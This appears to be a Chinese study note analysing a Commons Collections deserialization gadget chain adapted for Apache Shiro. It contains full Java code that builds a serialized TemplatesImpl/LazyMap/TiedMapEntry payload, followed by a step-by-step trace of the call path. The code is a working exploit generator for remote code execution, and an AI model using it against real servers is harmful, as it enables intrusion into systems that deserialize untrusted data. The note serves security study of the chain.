这条链专门为shrio反序列化,因为shrio反序列不能用到Tranform数组
完整代码
public class CCShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\javaStudy\\cc\\ccStudy\\target\\classes\\com\\wang\\CC1\\Test.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", codes);
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//obj.newTransformer();
//getClass只是先放着,后面会通过反射改为newTransformer,不过要满足有这个方法,要不会报错。
Transformer transformer = new InvokerTransformer("getClass", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, transformer);
//lazyMap.ger(obj)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
//tiedMapEntry.toString()---->obj.getClass()
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"vvv");
lazyMap.clear();//其实就是清理掉里面map.clear;
//map.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
new ObjectOutputStream(new FileOutputStream("ccS")).writeObject(hashMap);
new ObjectInputStream(new FileInputStream("ccS")).readObject();
}
}
入口HashMap.readObject hash()
HashMap.readObject hash() 和urldns的入口一样
key.hashCode,因为我们传入的是TiedMapEntry
所以是TiedMapEntry.hashCode()
TiedMapEntry.hashCode()调用链getValue()
getValue()里面然后就是map.ger(key) ,就是我们传入的 lazyMap.get(obj)
lazyMap.clear();分析
//lazyMap.clear();//其实就是清理掉里面map.clear;
map.clear();
为什么要调用lazyMap.clear();
因为hashMap在put的时候会计算一次TiedMapEntry.hashCode(),然后一直来到LazyMap.get(key)这个方法
会在里面put一次,反序列化的时候,就会存在同样的值了,所以需要clear()掉。这里和CC6链的操作是一样的道理。
这里为什么是lazyMap.clear()?不是里面map.clear() 因为这两个是一样的。
lazyMap在调用clear()方法的时候,因为本身没有重写这个方法,会找它爸爸
它爸是这样写的,lazyMap.clear()就是map.clear(),map是我们传进来的那个hashMap